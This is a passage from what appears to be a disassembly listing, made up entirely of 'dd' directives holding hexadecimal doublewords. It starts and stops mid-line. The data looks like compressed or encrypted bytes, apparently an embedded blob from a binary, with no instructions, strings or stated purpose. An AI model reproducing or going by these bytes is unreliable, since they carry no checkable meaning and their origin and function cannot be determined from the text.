0E24456C8h dd 0D9DB9A0Eh, 0E74587E0h, 20401A41h, 0A01B1820h, 7830BA88h dd 599A182Eh, 0EBD9A849h, 4DEE40C5h, 46168805h, 4AB9C806h dd 0DBB13A28h, 51C55A0Ch, 28C3C710h, 0A74E7FFAh, 18479383h dd 82B0790h, 0B58144AEh, 9D7AB440h, 0E7E0A13Ch, 0CC5AB841h dd 0BE1918BAh, 87561041h, 47B27A70h, 147C1A43h, 9C6D3A10h dd 51856274h, 888272EEh, 5041FF05h, 0FB882012h, 0DB10C961h dd 408365B6h, 0BAEC4859h, 9C83ACF2h, 0B81BEF30h, 0E638585Ah dd 0B32D2441h, 10CC1814h, 0C2649F7Bh, 5340BA08h, 69DBCF6Fh dd 9B905E50h, 0EE985F50h, 0BA185C90h, 86983D41h, 0FC4A09Dh dd 5ED8C45Dh, 94A48059h, 9B30CF66h, 93DB107Bh, 8240CDEDh dd 86B3F010h, 0B261CC7Ch, 14A73AA0h, 74575020h, 11A1E3Bh dd 489A0605h, 3551D0B9h, 743FD09Ch, 0FE5AE30Ah, 2A18AC28h dd 0C631DA18h, 905B6F81h, 0D4952B28h, 0E8678828h, 37839D1Fh dd 80133E8Ah, 8C15FD00h, 0E8F2589Bh, 127C313Bh, 0ECA04D10h dd 0D47F89DBh, 0BA671B1Eh, 841FBCDh, 183E08F0h, 28637B9Eh dd 0D3633D5Bh, 0E0215508h, 0C7EAD63Bh, 41E48750h, 87C47ADBh dd 0AFF63908h, 0A0F557A3h, 0EAE0B04h, 75EEA4A8h, 20BB4487h dd 0ED329F27h, 630086F4h, 77B9924h, 288889h, 44A4B65Eh dd 4A94EA8h, 8338E06Eh, 0C1AB0F9Dh, 50B8D068h, 0E4A9BD83h dd 280BA7F0h, 7FAFB869h, 0C486810Eh, 84387832h, 0A210E3F3h dd 51901EB7h, 65440685h, 4C0658BBh, 2C5BB31Ch, 74D7E8C8h dd 0DEFCE5h, 0E83B9199h, 4ADBB303h, 84AF1707h, 64408D62h dd 1D8C979Ah, 60AF0FBh, 400D3E1Bh, 8E94431h, 7BF056A4h dd 9192069Eh, 585341BBh, 8202C34h, 398C210h, 0C4A8ABB1h dd 69D91E2Bh, 4CE4067Eh, 0FA2808D1h, 10379CD4h, 0A08C5088h dd 591328DBh, 319A3BC0h, 0EC07A700h, 162C2094h, 0CA01A0E8h dd 0D4804FD5h, 19D04EDDh, 14B7CA6h, 2048266Dh, 304FC565h dd 0E0F0A7EFh, 70A9F948h, 93463Bh, 13E337E7h, 0E8E5D627h dd 8396FC7h, 0F9BC7000h, 0A69F167h, 4F720010h, 1476AAE0h dd 0E5C68BC3h, 60B5B200h, 0BC74D5CCh, 1D64EF04h, 338313AFh dd 0FF07A02Bh, 0E7F42BC9h, 17CE001Ch, 0B3FC6E85h, 3984EF00h dd 3B87EDC0h, 0E0558009h, 0CC3078C0h, 46B9204Fh, 4D74136Ch dd 4080170Ch, 7C0D1524h, 42DF34F1h, 0ED49A378h, 0D6334401h dd 0AC97F0DBh, 8470E13h, 7E80F683h, 51A0494Ah, 0B5986774h dd 0C087B60h, 28604439h, 3A9CCB07h, 0C01953A2h, 0C5E010E3h dd 0CC80F0EDh, 0A000147Ch dd 604FD689h, 0F04EDC15h, 282765BCh, 20D40358h, 101BA1C0h dd 9BE08067h, 9081802h, 0A20CF8A8h, 5C2887F8h, 0F103F8BFh dd 0D8604835h, 507874F6h, 0C3E3D427h, 1159E010h, 8468401Eh dd 0C088287Fh, 0A24FC710h, 84D9618h, 0DA81B471h, 0BE8CA700h dd 0A52EB0C6h, 698909C0h, 628AC049h, 18DA1818h, 0BC549120h dd 38C6B294h, 0E13030A6h, 45C094C1h, 0E5E8EBh, 0A4FE8553h dd 4F97E96h, 1B1D33Ch, 0F5CA6AE4h, 0A7CF2624h, 1D2894C6h dd 78FE084h, 8F8CEBC4h, 0F5F44F83h, 188EC6E5h, 4D0A7C03h dd 188F285h, 0F96B9E10h, 0B10744h, 70D23DC9h, 0A0B23AE4h dd 8408C07Fh, 255EF990h, 4C70C004h, 6504DE05h, 0E7E50F2Fh dd 0C6834D3Ch, 7C05A09Ah, 0F7C5F03Fh, 523E31B9h, 61F52500h dd 629A455Ah, 7C1E85E8h, 1B005E8Bh, 17C55B4Fh, 31E5F87Ah dd 67206039h, 4825E07Fh, 8B80EB61h, 4BE15B4Eh, 0CFA5C1C3h dd 2CC4A9C8h, 0C7B5D3Eh, 0D8209434h, 0D00890FFh, 0CA9DA50Fh dd 45D60523h, 796BE5E0h, 0C24F90Eh, 0CEDA6355h, 0D13AB89Fh dd 31A57C0Dh, 3670CBE0h, 4A5880F2h, 0C5112AEAh, 206EA64h dd 8768AE1Fh, 0F082C0EEh, 1090EBB3h, 5A107839h, 0A000F6FCh dd 852FF1D4h, 280DED33h, 0F8ECF805h, 342C98CAh, 0D3010061h dd 0AFC719F2h, 0A60189FBh, 0CB8CC242h, 0D1C43B62h, 4D903A82h dd 0C306A200h, 3D91BEA0h, 4AA9610Eh, 8D89E0EEh, 0CFC71Ah dd 62A6B3CDh, 2D4B775h, 4039E831h, 42D034DCh, 0A1D805E0h dd 23A94B4Dh, 7DB8A524h, 6F80ACF6h, 1F97A52h, 0CB152B62h dd 0D967FCA2h, 641C5843h, 0A0FA883Eh, 768F02BFh, 3182A5FBh dd 97995498h, 8E83F310h, 16682F00h, 1F93E328h, 0EB0363E8h dd 5C8327FCh, 8043A3E1h, 3C2A6C5h, 2DA1E0AEh, 0CDA0E740h dd 74015C54h, 0CA63CFA3h, 0C33622h, 0A2B02610h, 0A714A62Dh dd 7F3E96B0h, 0F3821377h, 0E3A1BB00h, 50FF22D4h, 748B8838h dd 0D6020E83h, 0FAC323FDh, 0B5C1CB3Dh, 0D188029h, 0B042D079h dd 7722F080h, 633E07D7h, 4524874Eh, 0F270306Ah, 3900E965h dd 4FC67473h, 2CBB8E5h, 5AAED642h, 0A68220E3h, 0A480EE03h dd 0CB995DC3h, 0D0FF8270h, 51C064E2h, 5F0C34FAh, 0E9B2019Dh dd 0AAFD5C7Ah, 45C6EC1Dh, 2DAF9900h, 8665F8BCh, 184C50CDh dd 0A1551130h, 37BD0373h, 0CD994A75h, 0C9331430h, 58EB2085h dd 3D905D79h, 36006798h, 0DFD3F8A6h, 0EE4DD8BCh, 3C34AEB9h dd 800D591h, 0FDAAFF26h, 0BC1FDE31h, 0CC425E98h, 90A0547Bh dd 18D3D018h, 70593DA2h, 0E602079Dh, 84338A6h, 5850B845h dd 0C1811823h, 973D6024h, 9BCCB306h, 8CA8610Ah, 6ECB0048h dd 4B931573h, 0B7ECDDAAh, 0AB1BCF0Eh, 8F7B85BCh, 2B189805h dd 0CB119C40h, 782D949h, 13F95397h, 4CB8C2E2h, 3C722C98h dd 0E1A9E33Bh, 0B9C97D88h, 74515080h, 6333991Eh, 7F594A00h dd 8E7945D2h, 31B9E8DBh, 2F0825FEh, 96E087EDh, 0B5434E50h dd 0EF19E0EAh, 0E98FEACh, 58A6CFD6h, 0C9E1DEEh, 8F10D027h dd 181F377Ch, 0D80A20FDh, 7807CC62h, 0B8C33B29h, 18180860h dd 47081DCDh, 0CE580C10h, 20C1F240h, 0B9653038h, 0A00985ECh dd 0F07FC5E8h, 36913C78h, 204C3818h, 0C65C60D4h, 0CB351D3Bh dd 21C35406h, 8C671E08h, 197118D8h, 34F8C08Ah, 0D9B33Ch dd 35E5F814h, 10EFCCF5h, 1884D4D8h, 9410C0F4h, 20DD7855h dd 0CDF84FB4h, 741EEA7Ch, 340667ADh, 7A386EE4h, 4418CC70h dd 20C67A11h, 181847B4h, 3092C8F4h, 28C6A7FCh, 31089EB7h dd 0F8A0954Bh, 0CA708C64h, 403A28E3h, 18C3146Bh, 3082F6B4h dd 34101B08h, 0D0BFD7C7h, 5470CF9Eh, 148344AFh, 100F7BF5h dd 67C29E5Fh, 0D44183EFh, 0F4E0B14Ch, 1FA97C9Fh, 60FAB14h dd 208DF174h, 1B309A6Fh, 2838301Eh, 4E9C5470h, 807088C7h dd 0FD7D34D1h, 91AD4080h, 0A9163561h, 2D31F5E8h, 0E2A108F1h dd 3EA615F0h, 0AE1D66D6h, 77003CD9h, 0CA0E925h, 0BFA02897h dd 32B87A8Dh, 0F1C6F300h, 0B566C784h, 0F414A699h, 871E10DCh dd 26510337h, 0E295614Eh, 0E0653003h, 38670CB0h, 0CD32B128h dd 8704166Fh, 204E6546h, 0D7C0110Fh, 7191156Fh, 72072CA5h dd 811C8458h, 0F0160271h, 0BDC87561h, 7A328082h, 8BAEBC83h dd 1EE295B8h, 6E5C3A74h, 6C541847h, 512D9408h, 4A86A4FDh dd 88B156Ah, 30818C85h, 44639824h, 0D029D101h, 0AF5054C2h dd 3C313590h, 95A710BEh, 8E1AD442h, 438DC4C0h, 0F583481h dd 985EDC42h, 103E7A2Ch, 0C421B6Bh, 3849DB31h, 1BA67404h dd 40887255h, 94508084h, 4D8093FBh, 0D56601D4h, 17EB7FBDh dd 0F7089DCFh, 33100D9Ah, 57AFA060h, 0E53D0372h, 235E91C6h dd 14AC4029h, 0E2EF9C8Fh, 40E85D83h, 0A3895B00h, 0C27F88ACh dd 90BFFA94h, 0B7433138h, 204F25E8h, 5490773Ch, 0A0DAD430h dd 0D00D4634h, 0BBA0DCB0h, 3D126F05h, 1C04FF29h, 7804F017h dd 78095B8h, 5C587550h, 0AC740678h, 0A890D57Eh, 0A044B448h dd 33EF90DCh, 0B1B087AEh, 30267ABBh, 940734C5h, 16899C8Dh dd 7C890260h, 0E756E5DCh, 8C8B3841h, 40915528h, 0D8E12435h dd 0A64137Ch, 50A81418h, 18192E44h, 71404003h, 8271058h dd 574DFE2Dh, 0C57FD100h, 29F55566h, 65BC61EFh, 5F4EC101h dd 31D0403Eh, 2E81C5ADh, 6735308Ah, 0A708E0A4h, 0E628585Dh dd 7326E8EEh, 1009A404h, 2F4404BDh, 857430C1h, 969344Ch dd 1452CCB6h, 906CF024h, 0C297BC94h, 0A2635091h, 0E8DAE9D1h dd 8A516888h, 0FCC4D402h, 5F096C2h, 42DB0F13h, 3EC846A6h dd 748300Ah, 20343C90h, 1873489Ch, 409CF429h, 2DC85B69h dd 1140AB61h, 644A99C9h, 48E6A303h, 98091C44h, 3494371h dd 1680E040h, 118AB560h, 839E3020h, 0EA6766A8h, 80D13808h dd 40C82196h, 0E2C14CABh, 29E8A420h, 4014B1C9h, 0D03E4BFAh dd 0C45C3828h, 14825F73h, 30CC06A4h, 28229668h, 68B2F17Fh dd 0F0BD4924h, 89D5A0Ch, 0AC40D0F2h, 572132B0h, 2C797820h dd 9B985351h, 8AA4386Ch, 4DD10310h, 0A1D411Ch, 9C51B170h dd 55F75060h, 4BEB9D10h, 4BF81116h, 5808A530h, 0DDE0E018h dd 88241E78h, 1D707CE8h, 41A60896h, 9F165C3Bh, 0C3744C05h dd 61F4E402h, 6AD086E1h, 0B38C3109h, 897F8920h, 5FE2E08h dd 0CC81BDC4h, 0C4643594h, 0E86959E4h, 702CF726h, 432A0EFDh dd 3119B069h, 30609A58h, 32140820h, 0B310AC9Fh, 0C32080C8h dd 0EB988CB0h, 41DA31F1h, 853A7484h, 1F9CF470h, 0D49C405h dd 0AA8B038h, 8A2A597Bh, 0EE910684h, 66E268B5h, 0B40EB4A7h dd 5BE0E26Eh, 0D50041F9h, 99F012F3h, 51843895h, 9808B600h dd 0C78F6B19h, 0CDC90079h, 0A66E1838h, 0E200FB32h, 8BAF2252h dd 596763h, 0FA278497h, 5EF8CD24h, 0D814D974h, 8018686Dh dd 0F157A01Ah, 758C108h, 718249A4h, 502C0CFCh, 5A9FF208h dd 5467026Fh, 28B8A718h, 0B0F18F74h, 6147506Ah, 0F8A72B1Fh dd 4AC10714h, 9501CE60h, 1B1A784h, 3C4C5D98h, 4EFA180Ch dd 9187293Eh, 247878C2h, 2748386Eh, 281CE030h, 11D26BE7h dd 0C01518A7h, 0C8C9B4CCh, 0E6A4A8C2h, 78A7570Bh, 195B9A03h dd 50054E12h, 824A8027h, 5ED56470h, 0F3842A2Ch, 0B5CC15A0h dd 80C13C82h, 10EB3D0Ch, 1F2ED367h, 40CD59ACh, 45A97882h dd 0A461F9A6h, 969A9908h, 0B2F0188Eh, 31175885h, 0CC8E3128h dd 4780DAA2h, 85A990B5h dd 0A00581A0h, 82D474E1h, 0FD1FA728h, 7778B899h, 73C53018h dd 0FE0487C9h, 0C0F09952h, 50E62371h, 35E780D7h, 5098692Bh dd 2BD5AA83h, 0C7510AAFh, 503C8499h, 0F895A315h, 2778C033h dd 389998FEh, 0D0860A31h, 58E08509h, 0FCD2531Bh, 0C3CE469Fh dd 70041D3h, 0B9A66526h, 291DDC91h, 83187141h, 791BC742h dd 4B679914h, 273807D8h, 30CAAF48h, 0CB83C6C3h, 47F1095Fh dd 541C29C1h, 50FDCD05h, 0B444EBD5h, 908E14A2h, 78152B02h dd 0A441767Fh, 23B5C187h, 75A380B8h, 0A8041B6Fh, 4815B3B4h dd 0F1B0F8A7h, 4924CBB7h, 0C704541Dh, 7C8E2898h, 43D713Bh dd 6B11F930h, 0F818DB08h, 8F080DB8h, 10296F0Bh, 32C3CD20h dd 6300C4A7h, 56655380h, 0CF66DDh, 87706F6Dh, 0E42E3223h dd 4D004A7Bh, 7939B42Dh, 1828EF1h, 2B98A9BCh, 30AE7FDDh dd 6D00E572h, 0C2BF127Ah, 3F20653h, 49428A3Ah, 20E882C7h dd 0C60009E7h, 0EC26D61Dh, 2F8EEF1h, 286A2C5Fh, 0CE81B6D7h dd 0F4031D8Dh, 3430634Bh, 5002B972h, 7548FC4Ch, 6587003Ah dd 9A2F84EAh, 3D00C18Fh, 0B92E43A1h, 1E05E02Dh, 4342214Bh dd 0A05CD251h, 0D6C0FB88h, 8D728C00h, 9436B250h, 0CA700BDh dd 69F4939h, 0F005852h, 83913B74h, 1C0990ACh, 80ED9255h dd 4D9CEECCh, 0D500C732h, 0D1E44C9Fh, 1477B18Fh, 4B0BE10h dd 83625180h, 0B157700Eh, 8D08A60Ch, 88500030h, 90F7F60Ch dd 0E02113Eh, 0AFF12A6Ah, 21F081AAh, 18881075h, 0B3455676h dd 2BE21844h, 74851B20h, 84249A88h, 24F31A28h, 0A712621h dd 80C3EF7h, 2B454EBEh, 244A3C4Ah, 300A288Ah, 453CC208h dd 0AE244829h, 9793FE67h, 40A080FCh, 57B20032h, 0D1069817h dd 0A51C5911h, 2C589EBAh, 44235119h, 9C40723Ch, 6E20Bh dd 8FF28481h, 4AD5F21h, 0EE0093B8h, 0CF714B8Ch, 6066D5E6h dd 20BB6AFDh, 18D8B918h, 0D67220h, 0E7580C3Bh, 0A752B329h dd 78513F20h, 69A401ABh, 0F42667ACh, 18B6DCD1h, 0FAE10F07h dd 4157AF86h, 89FBC2D0h, 0BF820057h, 0B906D4A4h, 0B3F60C61h dd 0FAE56017h, 0ED672B00h, 0A0284Ah, 1F3ED7BCh, 0B8BE2426h dd 0E0399C0Ah, 6B404C21h, 0D688769Bh, 0F8B400D8h, 2941B51Dh dd 0F7E4E314h, 0E6AB0084h, 0DEEC30BBh, 8CBF00E8h, 5E48BAC1h dd 0E5007E0Dh, 0DA11880Eh, 0D340A5h, 0F0B9AF77h, 8321A95Fh dd 0D6FE303Ah, 0DA43781Ch, 7D2E91CEh, 0F704F87Dh, 0C0081666h dd 89A62FB2h, 0A1C08A52h, 0BBE86E3Dh, 0CDCA0EE4h, 0C100AE8Eh dd 4A1B2FA3h, 0D63228C0h, 399287h, 0EBE5E681h, 93F03FA9h dd 9CECC500h, 5ED7301h, 55CAC69h, 0EE4F81AAh, 29F6829Fh dd 0FA3E1A40h, 67F1DB01h, 0AF7032A5h, 7DD41ECh, 71FDE7F9h dd 0FC108036h, 0AC183D5Ah, 31892C79h, 0B4CA636Dh, 81C4572Fh dd 0C4662410h, 0DD304403h, 0AE3D292Eh, 3C9174B3h, 0D7033B0Bh dd 0F0CCA4DBh, 4AED7CC1h, 77EC8058h, 0F6EB376Dh, 68E10072h dd 0BFA8BB2Eh, 840024ACh, 0EA5DFA8Eh, 8BAE4Ah, 0BE199585h dd 2BAB3120h, 83693E00h, 0FA8906BAh, 0D71E07A2h, 0B0AE50ADh dd 4C22B893h, 0F097D507h, 0F850BF48h, 144ADE2h, 0D85F4533h dd 0E0AE5AD3h, 853A7DB3h, 0FA1C7A57h, 753CC4B5h, 31D70630h dd 0F96E654h, 958CF5FBh, 5B7608C3h, 8F1CC0C8h, 9D0047FCh dd 0C540E139h, 0DE5CBBh, 64A20444h, 692D535Bh, 821CDB0Eh dd 1F8563C6h, 0D8790346h, 2D2F73C9h, 9D5B10D8h, 0A7B0AA07h dd 2490493Ah, 3C4ADDEh, 0FB645C57h, 900DDFD5h, 409260B6h dd 0F930E0h, 0B84BC1ECh, 0A7ADD8B9h, 7A1CC7B8h, 0A9054A9Ch dd 0AC2BE588h, 9E49F7C0h, 57000D4Ah, 2BA786Eh, 0A832DAh dd 0D5CB0FC5h, 9FF52D46h, 4733CA00h, 0BD5984EBh, 5B6EEAEh dd 6C0D10E0h, 15447BBAh, 384C68Ch, 0C8E240D4h, 981C9028h dd 52B0013h, 0D70EB2F3h, 0F21D45ACh, 1ECF540Fh, 0BA112007h dd 3CCDAF5Eh, 339DC6ABh, 62380E7h, 0F6A8384h, 0A38B6900h dd 57A616ADh, 7C6E00B2h, 0E400A21h, 5A37F12Fh, 0C07330ABh dd 44910AA3h, 0C1E7EFh, 0B39F66CEh, 0CA05498Ah, 47EA12BCh dd 96628470h, 0FF433CA5h, 0D724F787h, 0FB640D8h, 0A2025621h dd 0EBDD3C9Bh, 53B62D2h, 0B9001084h, 5E8A81ADh, 0E9381C99h dd 0DD3E86B7h, 0B30080D2h, 80ACD5CCh, 0ECE75962h, 45C8006Ah dd 35C9225Eh, 0D0A4C6D8h, 0AC93F30Fh, 0E4EF2023h, 9151EE47h dd 0B4765E64h, 71CE4000h, 5CADC80Eh, 0F00F1F1Ch, 0C0E1DE51h dd 0C1E4488Eh, 930716BEh, 7BCFB59Eh, 0EB69631h, 92AC0C22h dd 0D929AC30h, 91FCB536h, 28170004h, 0C44DC973h, 89533B14h dd 1907AFFCh, 40605893h, 0FF57467Ah, 0F5565B00h, 23BF8840h dd 5A30047h, 7EB832EDh, 0BB02A6C6h, 6AF8F6CEh, 60B86057h dd 0E85C051Fh, 0A28C5Bh, 43DB84BCh, 8F7DA9EDh, 59734500h dd 9A0117E4h, 0A2AF015Dh, 8C39037Ch, 0D754D0A1h, 1DF1BC1Dh dd 60206FFEh, 8C40D063h, 0DC0B02F2h, 83D2C5Fh, 2DC7D321h dd 6365A0E0h, 2B4C108Fh, 8F9D37C1h, 2346D21h, 8011EEh dd 307F2DC4h, 2E5C20A0h, 6840F3F0h, 796B60A4h, 1DE3664Dh dd 0F0545E30h, 0BC0CFFh, 366CFABBh, 3B03E0F5h, 0FC1D3Fh dd 0BEEA1710h, 1A2B5CBh, 0CE4767E5h, 0C8E72760h, 53000118h dd 0B858E8D7h, 0A8BC6366h, 0A5E499Ch, 0A864B5F5h, 363A0684h dd 0DB164012h, 0C6008F92h, 2ECF555h, 0B3C30BAh, 1EF9E448h dd 0E3D94D06h, 0F0B0A032h, 3BE8075Eh, 316A9636h, 0E00C9752h dd 8F342609h, 0E41C49D7h, 0DB0D7112h, 6BCF0AFh, 0CA170F09h dd 0AE8C348Ch, 51907B60h, 0BEEE3h, 8CAC5E9Fh, 3BD51315h dd 6100C4E2h, 0AF57F6F1h, 382697E7h, 4F0EA2B6h, 62A06E2Eh dd 0C22B788Ch, 0DD457E00h, 0F1FAE27Ch, 1C95036Ah, 0EE233165h dd 6346C4E0h, 7BA838h, 95044C7Eh, 3EDAC2h, 541A5EA3h, 92CC5298h dd 49884700h, 0E001651Dh, 26DB00F0h, 150AA859h, 0FD00417Dh dd 30739563h, 256085h, 8C1A1E79h, 0AF7A9753h, 49213400h dd 51A68D62h, 0BBE2D0h, 9A4DB41Bh, 180AB26Ah, 0C60FDAEEh dd 0AAA8CAh, 4D61FB7Fh, 74CB00A5h, 35454996h, 2B07D38Ah dd 9B3A4838h, 3227F870h, 82E60041h, 87547C8Ch, 0D1038BA1h dd 0D36D1BF7h, 1F2FC88Ah, 0A7B400F1h, 397E2AECh, 2603DC50h dd 0D9030938h, 9171F0FBh, 1E370002h, 0B01DAE14h, 643C0477h dd 860B00B6h, 85719395h, 0C4220F72h, 5141B273h, 47FD1987h dd 4755A3C2h, 0F6CD9890h, 7A63BB00h, 0AF728392h, 7F4C0010h dd 11D4C19Ch, 0BD00986Dh, 51CA78F6h, 13AADD1h, 0D580AE55h dd 0C73C84B9h, 0DCDE1100h, 52E0E2Fh, 4D30300Bh, 0E4950D19h dd 3E167C0Fh, 9A2EC00Ch, 0F056AAh, 0B44449EEh, 0B0C6D7D1h dd 0DA03E9E6h, 11571EDBh, 5831F07Ah, 0E3C9863h, 0E2608694h dd 1C355660h, 0C70037B2h, 49FA1DFBh, 3CBD5513h, 0BE80B963h dd 0B116946Eh, 0EC00F01Fh, 0B81DC920h, 31E25382h, 4C44E559h dd 0F958C4EBh, 1DB0A400h, 3257FDD4h, 0ABAA0EE0h, 71C0604Ah dd 5CCA0159h, 4BCEFA00h, 0E8B03038h, 7F3F25Ah, 0DB89215h dd 0E3BD017Dh, 3BE9DC39h, 5B03800h, 19B35806h, 28A9002Fh dd 7596E2EFh, 2403E97Ah, 0D93D908Ch, 68AFD06Ah, 0E83400E0h dd 39214683h, 7300AA62h, 2EE3163Dh, 604FDDh, 0BD570A1Bh dd 0EAC9611Ah, 1397258h, 0B676F238h, 1880F801h, 0AFCD7046h dd 210F9E50h dd 3C99ABB3h, 398F2400h, 24B96FE4h, 2747CAh, 0FF95C107h dd 6600938Ch, 3B257E54h, 0E8BE27D6h, 0A6C30181h, 0ACDABBC1h dd 3E3E20FBh, 37D8C801h, 555E771h, 51A3FCh, 127B402Ah dd 6FB36D14h, 0EBD79300h, 3DB0BDE1h, 39430029h, 0BB51039Eh dd 0EF00078Eh, 4908BA2h, 39422E9h, 91D2681Ah, 56C0ACC7h dd 6B002B2Ah, 0F8496090h, 634731h, 0E083C3A4h, 0DAD41033h dd 966BE700h, 8B6544BEh, 0AC180026h, 14C86D27h, 13001C71h dd 5EBF75C9h, 8A3336h, 4469C06Eh, 381198A1h, 0A345B900h dd 7A78347Eh, 5B090F0Fh, 0B020EA25h, 0F5E3BB41h, 43E45103h dd 0E9761E29h, 88E423F9h, 0C1DE00AFh, 158D1037h, 0F1072DB1h dd 71673139h, 9D850290h, 0EF050791h, 0A0C7154Ch, 28794BFCh dd 90B30800h, 9217A4DDh, 0E9B403BAh, 0D6FAA777h, 6FF607E0h dd 0AB5FC700h, 5E4B42CEh, 0B3710306h, 98C86B7Ah, 8E8D60D7h dd 0B400F227h, 0CD59862Bh, 0D7DE47h, 933E2462h, 4918B2DFh dd 0FBEE6CF2h, 0C5F63500h, 2F258AD4h, 845201CEh, 0A7A4B855h dd 350DE02Eh, 0E3004B7Eh, 0E9F2BE76h, 493D6FCh, 0ED85BDE0h dd 54E9C039h, 0D20F7F5Dh, 0C7DB1D5Eh, 0A62035FAh, 282ADFh dd 78BE930Eh, 0C1983CC8h, 0BD4CB800h, 0A39A46A4h, 0D8FD3FA5h dd 8ACB7400h, 3EF68258h, 0FA760509h, 6E50179h, 7E6138CEh dd 0E058D0h, 52395A77h, 0F9BA78DCh, 0F1607D00h, 0BB0BC014h dd 0C1C20315h, 3AFEE040h, 5E5BA5C8h, 9F94D500h, 0DC6342EFh dd 0BAAF005Ch, 20D2114Eh, 0EA00B9DEh, 28F80D55h, 7E32C37h dd 0D7A852B3h, 4ED440C9h, 1F00C4BEh, 61C5D80Ah, 7CD351h dd 0AC592B91h, 9E7731CAh, 2E12A1Ch, 0F39CC843h, 297B5Fh dd 0EA19070Dh, 5D450AB4h, 0FC7AC400h, 6F1E7C16h, 0B8C528F3h dd 3F1A3CF7h, 0CF3C6600h, 0C1A85F49h, 3AD2DE00h, 0C8FF70F3h dd 587B011Bh, 5AB164A3h, 0E8E5E47Ah, 87C4BB00h, 0E13ACB4h dd 0B3DD009Dh, 39813EAEh, 3003DBDh, 0C6D952B9h, 2C409387h dd 82FEA1h, 0CFBC4772h, 9F003312h, 8C447D1Bh, 0E97304Fh dd 314EBFAAh, 675DE440h, 777E490Dh, 0C103D700h, 577DAD16h dd 50430040h, 15972CD0h, 3700937Fh, 0C0DE7EB3h, 20566Ah dd 0F0A96F48h, 0D7212625h, 2E530900h, 8A1858E1h, 2CC2F64Ah dd 39850ACh, 0A76A9F29h, 7563508Fh, 0B100D974h, 0E1328D36h dd 0B7807Eh, 0A30A247Dh, 46ECDFE5h, 7F73453Bh, 86A16B00h dd 271DFCF8h, 122F03E0h, 0F5D7E459h, 2E20B898h, 1900BBF0h dd 88F1C1F3h, 0E073579h, 8953C478h, 66822A40h, 0D00E0EEh dd 0FD84899h, 3C16D34h, 286BA514h, 24B04C07h, 0D30088A3h dd 0A74B7C01h, 3AA1C836h, 7D80AE9Fh, 15177689h, 0AC00E0AFh dd 0A437EA5Fh, 2B57B6Bh, 243451B8h, 80DD8D4Eh, 5F2DEB98h dd 41FE0058h, 68C3FC8h, 7E1CFBA3h, 970EA77Dh, 0FF7B40F2h dd 39F5BC0Ah, 7F000705h, 0FC441EEFh, 0E5008A86h, 2F76D552h dd 1B96599h, 0D358D20Bh, 0D853F9F7h, 80006DC4h, 48978357h dd 0F2DE3D77h, 29266065h, 3442C10Bh, 9FCE9003h, 0AA207163h dd 24AFC045h, 0E0C8E066h, 0D7D50043h, 0C2A25A59h, 57022D7Bh dd 6C0DC910h, 328E60E8h, 7524982Eh, 1FCE003Dh, 50EDB236h dd 2178F1C2h, 1A7110Fh, 735B603Ah, 0AECFD3h, 0F27F08D6h dd 5760ABEAh, 0A9C57900h, 3CD1D05Fh, 21CD00BCh, 14442FB4h dd 0BA768F3Dh, 45608A7Fh, 0BE29DD10h, 0BFCCC0F3h, 5DEB899Dh dd 9F37620Ch, 790B844h, 0FCCB43E5h, 886CF09Eh, 50036E3h dd 0A4A9F13Ah, 734EEE4h, 2541AD9Ah, 2EF4909Bh, 0A003398h dd 0CA36E0A2h, 50891Fh, 257F0CB4h, 0FE0B036Ch, 17E40202h dd 0C0C7BDD5h, 1F95AA9h, 0F007AF08h, 0D485CE2Ch, 0D400F506h dd 0D7DB7D91h, 0C59526Dh, 4A5E474Eh, 0DE00BFC0h, 0EE1EF595h dd 1B6A9F0h, 0D079BD3Bh, 30EA20C0h, 7200C12Fh, 96DE4094h dd 778555h, 0B8AB87B3h, 85DEFF4h, 959DA05h, 0BC07E2C4h dd 6F101090h, 3E3F56D0h, 0DE50BEDCh, 0AAC50A83h, 8C4E9Eh dd 13C14592h, 9870F1A3h, 0B1883214h, 0E9F700F9h, 0F982D9ADh dd 631300F3h, 0FC7FEE47h, 9700D702h, 6CCB0BECh, 261A570Dh dd 68991Bh, 0DA69FFADh, 0C6488009h, 6A76026Ch, 0C06C4CD0h dd 0B41E50h, 39FFA57h, 0A0EBF9D2h, 10E41D28h, 46FE3614h dd 80763AE0h, 0AA2571FAh, 7C970ADh, 77B56728h, 0E86B00DCh dd 0AC00A6CDh, 0FCBC8C8Dh, 18FBD052h, 40A47CFFh, 567BA89Dh dd 0B6037D74h, 0A5FE0B2h, 0C1680077h, 0F23F867h, 6D007370h dd 63D4F7B1h, 7F3441h, 4B320356h, 0F87AE3C6h, 0B77FFBE2h dd 0B6C759C0h, 1ECE8291h, 0CA0501h, 7CF531B2h, 13039DF7h dd 5B6876A8h, 19F49062h, 0C751E56h, 0BBB3C0ECh, 7AB2F84Ch dd 0DE4BE0C2h, 0BDE48086h, 6FFEB434h, 801F385Bh, 37D57D69h dd 1C0F9361h, 906085F3h, 32173903h, 0A00040BCh, 0FE16ABE9h dd 6DD26C78h, 1B60696Eh, 0EAB60004h, 0F7393242h, 4BF3010Eh dd 0DC9C0360h, 0B20806Fh, 0EA71E97Fh, 0B7260CBFh, 0BE08BD37h dd 2B206367h, 0EC72E920h, 64D6001Ch, 9AA736EAh, 0E6074668h dd 0AE0C3709h, 0CB2FEC70h, 49071564h, 0B200EC55h, 74E9CF9Fh dd 53711697h, 0FBF7C102h, 8CEA9EC8h, 5132982h, 0AA218AC0h dd 1D4A81D5h, 398C4377h, 0C2082100h, 0D9AC391h, 839B0719h dd 0B0281D6Dh, 0A14A63CDh, 6042A401h, 49298961h, 8ABF2C50h dd 0CDAB1048h, 0BB56C86Ch, 4C906F00h, 85B01C9Ch, 41A1CF19h dd 5048E049h, 0D78A04C6h, 319658DBh, 3E007B0Ah, 0D7591C8h dd 0D28CE900h, 0C6BF4868h, 0F4665006h, 0C75F2A57h, 849801B8h dd 3E99B42Ah, 3618596h, 0ECD7492Dh, 0A27BC683h, 0A4090ECh dd 0AA2B0890h, 5A586B05h, 0DC9000EEh, 649E9CBAh, 0F7D8D6Ch dd 0A81AD500h, 0FC7718C3h, 28E001Fh, 0CC3D467Ch, 0B21EE278h dd 782423EFh, 1E519683h, 50D0E8A7h, 86A1DC9h, 408E1657h dd 29F9B35Ch, 272E0980h, 390C72D1h, 18579276h, 0E1779A6Ch dd 89AC5F5h, 4665F0F5h, 0D7F2B400h, 2BB52A6Bh, 190F0E96h dd 9EC32CC9h, 80404779h, 0A14818BCh, 0E82EC04Ch, 8C34FCB8h dd 0B5EBAB00h, 0D9F39A7Ah, 0E84204B8h, 90587778h, 633E849Ch dd 467DFE04h, 9485A7FCh, 68F4BC27h, 0C684DA01h, 0A4B04C48h dd 0DBD59004h, 653370A8h, 0F8642103h, 8B13428Ah, 0E032C251h dd 14B2D86Eh, 